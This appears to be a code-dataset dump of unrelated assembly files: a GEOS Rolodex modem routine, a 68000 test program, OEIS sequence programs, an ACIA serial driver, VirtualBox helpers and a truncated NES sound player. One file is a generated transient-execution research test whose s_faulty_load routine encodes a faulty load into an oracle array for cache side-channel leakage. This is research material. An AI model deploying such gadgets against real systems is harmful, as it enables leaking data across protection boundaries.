call GetTextInMemBlockNoFixup ; read in text string
tst cx ; no text in text field?
je done ; if none, exit
call AddOtherNumbers ; otherwise, add to phone blk
jmp done
free:
DBCS< shl cx, 1 ; cx - string size >
add si, cx ; point past area code.
LocalNextChar dssi ; move pointer past ')'
call MemFree ; free the Cur area code block
jmp exit
assumed:
; read in the assumed area code from the phone option dialog box
GetResourceHandleNS AssumedAreaCodeField, bx
mov si, offset AssumedAreaCodeField ; bx:si - OD of area code field
call GetTextInMemBlockNoFixup ; read in text string
tst cx ; is there any text?
je done ; if not, exit
call CheckIfAssumedSameAsCurrent ; Assumed == Current?
jz done ; If same, then done
; read in the prefix from the phone option dialog box
push ax, cx ; save block, length
GetResourceHandleNS PrefixField, bx
mov si, offset PrefixField ; bx:di - OD of prefix field
call GetTextInMemBlockNoFixup ; read in text string
tst cx ; is there any text?
je skip ; if not, exit
call AddOtherNumbers ; otherwise, add it to phone blk
skip:
pop ax, cx
call AddOtherNumbers ; add the string to phone block
done:
clr si
exit:
pop ds
.leave
ret
GetAreaCode endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckIfAssumedSameAsCurrent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Checks if Assumed Area Code and Current Area Code are
the same.
CALLED BY: GetAreaCode()
PASS: ax - handle to memory block containing Assumed text
RETURN: flags - same as LocalCmpStrings()
DESTROYED: bx, dx, di, es
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Lock the passed block
Get Current Area Code text into mem block
Lock the Current block
Do the compare
REVISION HISTORY:
Name Date Description
---- ---- -----------
grisco 7/27/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckIfAssumedSameAsCurrent proc near
uses ax,cx,si,ds
.enter
mov dx, ax ; save block handle
mov bx, ax ; bx - block handle
call MemLock ; lock Assumed text block
mov ds, ax ; seg of locked block
GetResourceHandleNS CurrentAreaCodeField, bx
mov si, offset CurrentAreaCodeField ; bx:di - OD of area code field
call GetTextInMemBlockNoFixup ; read in text string
mov bx, ax ; bx - block handle
call MemLock ; lock Current text block
mov es, ax ; seg of locked block
clr si, di ; beginning of strings
call LocalCmpStrings ; compare the strings
pushf ; save flags
call MemFree ; free Current block
mov bx, dx ; handle of first block
call MemUnlock ; unlock Assumed block
popf ; return flags
.leave
ret
CheckIfAssumedSameAsCurrent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckForNumber
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check to see if a given character is a numeric char or not
CALLED BY: GetAreaCode
PASS: al - character to check
RETURN: carry set if not a numeric character
carry clear if it is a numeric character
DESTROYED: nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
ted 3/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckForNumber proc near
LocalCmpChar ax, '0'
jb notNumber
LocalCmpChar ax, '9'
ja notNumber
clc ; a numeric character
jmp exit
notNumber:
stc ; not a numeric character
exit:
ret
CheckForNumber endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AddOtherNumbers
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy the string returned in a memory block by
MSG_VIS_TEXT_GET_TEXT_RANGE to phone number block.
CALLED BY: GetAreaCode
PASS: ax - handle of mem block returned by
MSG_VIS_TEXT_GET_TEXT_RANGE
cx - string length
es - dgroup
RETURN: phoneOffset - updated
DESTROYED: ax, bx, cx, si, di, ds
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ted 3/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AddOtherNumbers proc near
mov bx, ax ; bx - handle of text block
push bx
call MemLock ; lock this data block
mov ds, ax ; ds - seg addr of data block
clr si ; ds:si - source string
GetResourceSegmentNS dgroup, es ; es - seg address of dgroup
mov ax, es:[phoneNoBlk] ; ax - seg addr of phone block
mov di, es:[phoneOffset]
push es
mov es, ax ; es:di - destination block
LocalCopyNString ; copy the string
pop es
mov es:[phoneOffset], di ; update the offset
pop bx ; bx - handle of text block
call MemFree ; free this data block
ret
AddOtherNumbers endp
if 0
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckForOK
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check to see if the response from modem is OK or not.
CALLED BY: DialUp
PASS: inputBuffer - contains the response
RETURN: zero flag set if OK was the response
DESTROYED: cx, si, di, es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Ted 1/29/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckForOK proc near
mov si, offset inputBuffer ; si - offset into inputBuffer
; do not skip anything, just check for OK
loop1:
cmp si, ds:[offsetInput] ; end of input buffer?
je exitError ; if so, exit with error
LocalCmpChar ds:[si], 'O' ; is it an 'O'?
je match ; if so, exit the loop
noMatch:
inc si ; if not, check the next char
jmp loop1
match:
inc si ; si - points to response
LocalCmpChar ds:[si], 'K' ; is it an 'K'?
jne noMatch
exit:
ret
exitError:
mov cx, 1
tst cx ; clear the zero flag
jmp short exit
CheckForOK endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EndPhoneCall
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Terminate the phone call.
CALLED BY: UI (= MSG_ROLODEX_END_CALL )
PASS: nothing
RETURN: nothing
DESTROYED: ax, bx, cx, si, di, es
PSEUDO CODE/STRATEGY:
Switch the modem back to command mode
Hang up the phone
Reset the modem
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Ted 3/7/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EndPhoneCall proc far
class RolodexClass
; stop timer if there was one
mov ax, ds:[timerID]
mov bx, ds:[timerHandle]
call TimerStop
; send '+++' to the modem
mov ds:[offsetInput], offset inputBuffer
; init. offset into inputBuf
mov si, offset escapeCommand ; ds:si - "+++"
mov cx, 3 ; cx - # of bytes to write
mov bx, ds:[serialPort] ; bx - serial port to write to
mov ax, STREAM_BLOCK
CallSer DR_STREAM_WRITE ; switch to command mode
jc exit
; wait two seconds for the modem to respond
mov ax, 120 ; really should be programmable.
call TimerSleep
; send hang up command to the modem
mov ds:[offsetInput], offset inputBuffer
; init. offset into inputBuf
mov si, offset hangupCommand ; ds:si - "ATH0"
mov cx, 4 ; cx - # of bytes to write to
mov bx, ds:[serialPort] ; bx - serial port to write to
mov ax, STREAM_BLOCK
CallSer DR_STREAM_WRITE ; hang up the phone
jc exit ; exit if error
; wait one second for the modem to respond
mov ax, 60
call TimerSleep
; DON'T CHECK FOR OK - ted 2/21/93
;cmp ds:[inputBuffer], '0' ; is it 'OK'?
;jne error ; if not, exit
; reset the modem
mov ds:[offsetInput], offset inputBuffer
; init. offset into inputBuf
mov si, offset resetCommand ; ds:si - string to write
mov cx, 4 ; ax - # of bytes to write
mov bx, ds:[serialPort] ; bx - serial port to write to
mov ax, STREAM_BLOCK
CallSer DR_STREAM_WRITE ; reset the modem
jc exit ; exit if error
; wait three seconds for the modem to respond
; DON'T CHECK FOR OK - ted 2/21/93
;mov ax, 180
;call TimerSleep
;call CheckForOK ; is it 'OK'?
;jne error ; if not, exit
exit:
call CloseComPort ; close the com port
ret
EndPhoneCall endp
Modem ends
| 29.704423 | 79 | 0.619135 |
f39fde2ae3529c9401234963852c08c233a5f28a | 4,563 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_21829_1296.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_21829_1296.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_21829_1296.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r9
push %rbp
push %rcx
push %rdx
lea addresses_UC_ht+0x1283b, %r10
nop
nop
inc %r13
mov (%r10), %r9w
nop
nop
nop
add %rdx, %rdx
lea addresses_WC_ht+0xe63b, %rbp
nop
nop
cmp $19796, %r12
mov (%rbp), %rdx
nop
nop
nop
cmp %rdx, %rdx
lea addresses_UC_ht+0x12e3b, %rdx
nop
nop
nop
sub $3939, %rcx
mov $0x6162636465666768, %r9
movq %r9, %xmm0
vmovups %ymm0, (%rdx)
nop
nop
nop
nop
nop
xor $23035, %r13
pop %rdx
pop %rcx
pop %rbp
pop %r9
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %rax
push %rdx
push %rsi
// Faulty Load
mov $0x5a6f4b000000043b, %r14
nop
nop
nop
nop
nop
dec %rdx
mov (%r14), %esi
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rax
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 2, 'NT': True, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': True, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': False, 'congruent': 9}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 48.542553 | 2,999 | 0.66075 |
be63e6de87ab520c403130e6aab47f933c2aa607 | 2,985 | asm | Assembly | kotlin/src/test/kotlin/examples/hello/testprog.asm | irmen/ksim68k | 12b02a70677a4b3e226ef40c0bdfcd25938cd7fd | [
"MIT"
] | 1 | 2022-01-13T22:20:39.000Z | 2022-01-13T22:20:39.000Z | kotlin/src/test/kotlin/examples/hello/testprog.asm | irmen/ksim68k | 12b02a70677a4b3e226ef40c0bdfcd25938cd7fd | [
"MIT"
] | null | null | null | kotlin/src/test/kotlin/examples/hello/testprog.asm | irmen/ksim68k | 12b02a70677a4b3e226ef40c0bdfcd25938cd7fd | [
"MIT"
] | null | null | null |
; simple test program
; assemble with vasm: http://sun.hasenbraten.de/vasm/
; $ vasmm68k_mot -Fbin testprog.asm -o testprog.bin
STACK_AREA = $00008000
org $0 ; vector jump table
dc.l STACK_AREA ; 0: SP
dc.l program_start ; 1: PC
dc.l $000ff000 ; 2: bus error
dc.l $000ff000 ; 3: address error
dc.l $000ff000 ; 4: illegal instruction
dc.l $000ff000 ; 5: zero divide
dc.l $000ff000 ; 6: chk
dc.l $000ff000 ; 7: trapv
dc.l $000ff000 ; 8: privilege violation
dc.l $000ff000 ; 9: trace
dc.l $000ff000 ; 10: 1010
dc.l $000ff000 ; 11: 1111
dc.l $000ff000 ; 12: -
dc.l $000ff000 ; 13: coprocessor protocol violation
dc.l $000ff000 ; 14: format error
dc.l $000ff000 ; 15: uninitialized interrupt
dc.l $000ff000 ; 16: -
dc.l $000ff000 ; 17: -
dc.l $000ff000 ; 18: -
dc.l $000ff000 ; 19: -
dc.l $000ff000 ; 20: -
dc.l $000ff000 ; 21: -
dc.l $000ff000 ; 22: -
dc.l $000ff000 ; 23: -
dc.l $000ff000 ; 24: spurious interrupt
dc.l $000ff000 ; 25: l1 irq
dc.l $000ff000 ; 26: l2 irq
dc.l $000ff000 ; 27: l3 irq
dc.l $000ff000 ; 28: l4 irq
dc.l $000ff000 ; 29: l5 irq
dc.l $000ff000 ; 30: l6 irq
dc.l $000ff000 ; 31: l7 irq
dc.l $000ff000 ; 32: trap 0
dc.l $000ff000 ; 33: trap 1
dc.l $000ff000 ; 34: trap 2
dc.l $000ff000 ; 35: trap 3
dc.l $000ff000 ; 36: trap 4
dc.l $000ff000 ; 37: trap 5
dc.l $000ff000 ; 38: trap 6
dc.l $000ff000 ; 39: trap 7
dc.l $000ff000 ; 40: trap 8
dc.l $000ff000 ; 41: trap 9
dc.l $000ff000 ; 42: trap 10
dc.l $000ff000 ; 43: trap 11
dc.l $000ff000 ; 44: trap 12
dc.l $000ff000 ; 45: trap 13
dc.l $000ff000 ; 46: trap 14
dc.l $000ff222 ; 47: trap 15 [ends program]
dc.l $000ff000 ; 48: (FP) Branch or Set on Unordered Condition */
dc.l $000ff000 ; 49: (FP) Inexact Result */
dc.l $000ff000 ; 50: (FP) Divide by Zero */
dc.l $000ff000 ; 51: (FP) Underflow */
dc.l $000ff000 ; 52: (FP) Operand Error */
dc.l $000ff000 ; 53: (FP) Overflow */
dc.l $000ff000 ; 54: (FP) Signaling NAN */
dc.l $000ff000 ; 55: (FP) Unimplemented Data Type */
dc.l $000ff000 ; 56: MMU Configuration Error */
dc.l $000ff000 ; 57: MMU Illegal Operation Error */
dc.l $000ff000 ; 58: MMU Access Violation Error */
dc.l $000ff000 ; 59: Reserved (NOT USED) */
dc.l $000ff000 ; 60: Reserved (NOT USED) */
dc.l $000ff000 ; 61: Reserved (NOT USED) */
dc.l $000ff000 ; 62: Reserved (NOT USED) */
dc.l $000ff000 ; 63: Reserved (NOT USED) */
; user interrupt vectors follow: $0100-$03ff
blk.l 192, $0
CHROUT = $00fff002 ; note: 68000 only has 24 bits address bus
program_start:
lea.l string,a0
.loop move.b (a0)+,d0
beq.s .stop
move.b d0,CHROUT
bra.s .loop
.stop moveq.l #99,d0
trap #15 ; end program trap
string:
dc.b "Hello, world! From the 68000 assembly program.",10,0
| 30.773196 | 80 | 0.595645 |
dc89c4dcb161d75d93035a6a8f59934cccd3c555 | 1,228 | asm | Assembly | programs/oeis/279/A279511.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/279/A279511.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/279/A279511.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A279511: Sierpinski square-based pyramid numbers: a(n) = 5*a(n-1) - (2^(n+1)+7).
; 5,14,55,252,1221,6034,30035,149912,749041,3744174,18718815,93589972,467941661,2339691914,11698426795,58492068432,292460211081,1462300793254,7311503441975,36557516161292,182787578709301,913937889352194,4569689438372355,22848447175084552,114242235841868321,571211179142232734,2856055895576945935,14280279477616294212,71401397387544600141,357006986936649258874,1785034934681098810715,8925174673401199086272,44625873366997405496761,223129366834969847614614,1115646834174814878334695,5578234170874005672196732,27891170854369890922030181,139455854271849179732243954,697279271359245348905405875,3486396356796225645015401592,17431981783981126026053752401,87159908919905625732222250894,435799544599528119865018232255,2178997722997640581732905116852,10894988614988202873480153495421,54474943074941014297032023299434,272374715374705071344422628141835,1361873576873525356440638163998512,6809367884367626781640240866571241,34046839421838133907075304426013574,170234197109190669533124722316382615,851170985545953347661120011954542572
mov $1,6
mov $2,2
lpb $0
sub $0,1
mul $1,5
add $2,1
mul $2,2
sub $1,$2
lpe
mov $0,$1
sub $0,6
div $0,2
add $0,5
| 72.235294 | 1,021 | 0.881107 |
554fa4ba3c4b2a2cc7f336468c2c49c67e028db5 | 2,078 | asm | Assembly | libsrc/_DEVELOPMENT/target/rc2014/device/acia/acia_putc.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/target/rc2014/device/acia/acia_putc.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/target/rc2014/device/acia/acia_putc.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | 1 | 2019-12-03T23:57:48.000Z | 2019-12-03T23:57:48.000Z |
SECTION code_driver
SECTION code_driver_character_output
PUBLIC _acia_putc
EXTERN ACIA_TX_SIZE
EXTERN ACIA_TEI_MASK, ACIA_TEI_RTS0, ACIA_CTRL_ADDR
EXTERN aciaTxCount, aciaTxIn, aciaTxBuffer, aciaControl
EXTERN asm_z80_push_di, asm_z80_pop_ei
_acia_putc:
; enter : l = char to output
; exit : l = 1 if Tx buffer is full
; carry reset
; modifies : af, hl
ld a, (aciaTxCount) ; Get the number of bytes in the Tx buffer
cp ACIA_TX_SIZE ; check whether there is space in the buffer
ld a,l ; Tx byte
ld l,1
jr nc, clean_up_tx ; buffer full, so drop the Tx byte and clean up
put_poke_tx:
ld hl, (aciaTxIn) ; get the pointer to where we poke
ld (hl), a ; write the Tx byte to the aciaTxIn
inc hl ; move the Tx pointer along
ld a, l ; move low byte of the Tx pointer
cp (aciaTxBuffer + ACIA_TX_SIZE) & $FF
jr nz, put_no_tx_wrap
ld hl, aciaTxBuffer ; we wrapped, so go back to start of buffer
put_no_tx_wrap:
ld (aciaTxIn), hl ; write where the next byte should be poked
ld hl, aciaTxCount
inc (hl) ; atomic increment of Tx count
ld l, 0 ; indicate Tx buffer was not full
clean_up_tx:
call asm_z80_push_di ; critical section begin
ld a, (aciaControl) ; get the ACIA control echo byte
and ~ACIA_TEI_MASK ; mask out the Tx interrupt bits
or ACIA_TEI_RTS0 ; set RTS low. if the TEI was not set, it will work again
ld (aciaControl), a ; write the ACIA control echo byte back
out (ACIA_CTRL_ADDR), a ; set the ACIA CTRL register
call asm_z80_pop_ei ; critical section end
ret
EXTERN _acia_need
defc NEED = _acia_need
| 32.984127 | 93 | 0.555823 |
8c92f36cca6dd95c5ae61d49602d596b9f7c6fc9 | 557 | asm | Assembly | programs/oeis/053/A053741.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/053/A053741.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/053/A053741.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A053741: Sum of even numbers in range 10*n to 10*n+9.
; 20,70,120,170,220,270,320,370,420,470,520,570,620,670,720,770,820,870,920,970,1020,1070,1120,1170,1220,1270,1320,1370,1420,1470,1520,1570,1620,1670,1720,1770,1820,1870,1920,1970,2020,2070,2120,2170,2220,2270,2320,2370,2420,2470,2520,2570,2620,2670,2720,2770,2820,2870,2920,2970,3020,3070,3120,3170,3220,3270,3320,3370,3420,3470,3520,3570,3620,3670,3720,3770,3820,3870,3920,3970,4020,4070,4120,4170,4220,4270,4320,4370,4420,4470,4520,4570,4620,4670,4720,4770,4820,4870,4920,4970
mul $0,50
add $0,20
| 92.833333 | 479 | 0.770197 |
618312368ec1a8263045faf9f45832a5b3bb0a45 | 260 | asm | Assembly | programs/oeis/028/A028400.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/028/A028400.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/028/A028400.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A028400: a(n) = (2^n + 1)^2.
; 4,9,25,81,289,1089,4225,16641,66049,263169,1050625,4198401,16785409,67125249,268468225,1073807361,4295098369,17180131329,68720001025,274878955521,1099513724929,4398050705409,17592194433025
mov $1,2
pow $1,$0
add $1,1
pow $1,2
| 32.5 | 190 | 0.765385 |
cbcd9b991e929727b3c9a8aad3326ab24999bb13 | 1,231 | asm | Assembly | third_party/virtualbox/src/VBox/Additions/WINNT/Graphics/Wine_new/d3d9/vboxport.asm | Fimbure/icebox-1 | 0b81992a53e1b410955ca89bdb6f8169d6f2da86 | [
"MIT"
] | 521 | 2019-03-29T15:44:08.000Z | 2022-03-22T09:46:19.000Z | third_party/virtualbox/src/VBox/Additions/WINNT/Graphics/Wine_new/d3d9/vboxport.asm | Fimbure/icebox-1 | 0b81992a53e1b410955ca89bdb6f8169d6f2da86 | [
"MIT"
] | 30 | 2019-06-04T17:00:49.000Z | 2021-09-08T20:44:19.000Z | third_party/virtualbox/src/VBox/Additions/WINNT/Graphics/Wine_new/d3d9/vboxport.asm | Fimbure/icebox-1 | 0b81992a53e1b410955ca89bdb6f8169d6f2da86 | [
"MIT"
] | 99 | 2019-03-29T16:04:13.000Z | 2022-03-28T16:59:34.000Z | ; $Id: vboxport.asm $
;; @file
; asm specifics
;
;
; Copyright (C) 2013-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
;*******************************************************************************
;* Header Files *
;*******************************************************************************
%include "iprt/asmdefs.mac"
BEGINCODE
;;
; Get the FPU control word
;
align 16
BEGINPROC VBoxAsmFpuFCWGet
fnstcw [xSP - 8]
mov ax, word [xSP - 8]
ret
ENDPROC VBoxAsmFpuFCWGet
;;
; Set the FPU control word
;
; @param u16FCW New FPU control word
align 16
BEGINPROC VBoxAsmFpuFCWSet
mov xAX, rcx
push xAX
fldcw [xSP]
pop xAX
ret
ENDPROC VBoxAsmFpuFCWSet
| 25.645833 | 80 | 0.575142 |
4e7947927e9982ada2609956afc701f0ebd874de | 10,371 | asm | Assembly | player.asm | neilbaldwin/PR8 | 045cbd282aba6357a4ae555958cf65c018952e49 | [
"BSD-2-Clause-FreeBSD",
"MIT"
] | 8 | 2021-03-14T18:20:40.000Z | 2021-08-04T20:32:25.000Z | player.asm | neilbaldwin/PR8 | 045cbd282aba6357a4ae555958cf65c018952e49 | [
"BSD-2-Clause-FreeBSD",
"MIT"
] | 2 | 2021-09-17T02:53:10.000Z | 2021-09-17T03:11:10.000Z | player.asm | neilbaldwin/PR8 | 045cbd282aba6357a4ae555958cf65c018952e49 | [
"BSD-2-Clause-FreeBSD",
"MIT"
] | null | null | null | .FEATURE force_range
initSound: jsr init_APU
jsr plyrClearEchoBuffers
lda #$00
sta noteCounter
lda #$FF
sta plyrSongBar
lda #$FF
sta patternIndex
lda #$00
sta plyrEchoCounter
sta plyrEchoIndex
lda #$01
sta plyrEchoSpeed
sta plyrEchoInitAttnA
sta plyrEchoInitAttnB
sta plyrEchoInitAttnD
sta plyrEchoAttn
rts
init_APU: lda #$0F
sta $4015
ldx #$00
@a: lda @apu_regs,x
sta APU_00,x
sta VAPU_00,x
inx
cpx #$18
bne @a
rts
@apu_regs:
.BYTE $30,$08,$00,$00
.BYTE $30,$08,$00,$00
.BYTE $80,$00,$00,$00
.BYTE $30,$00,$00,$00
.BYTE $00,$3F,$00,$00
.BYTE $00,$0F,$00,$00
plyrClearEchoBuffers:
lda #WRAM_ECHO
jsr setMMC1r1
ldx #$00
: lda #$30
sta echoBufferA_0,x
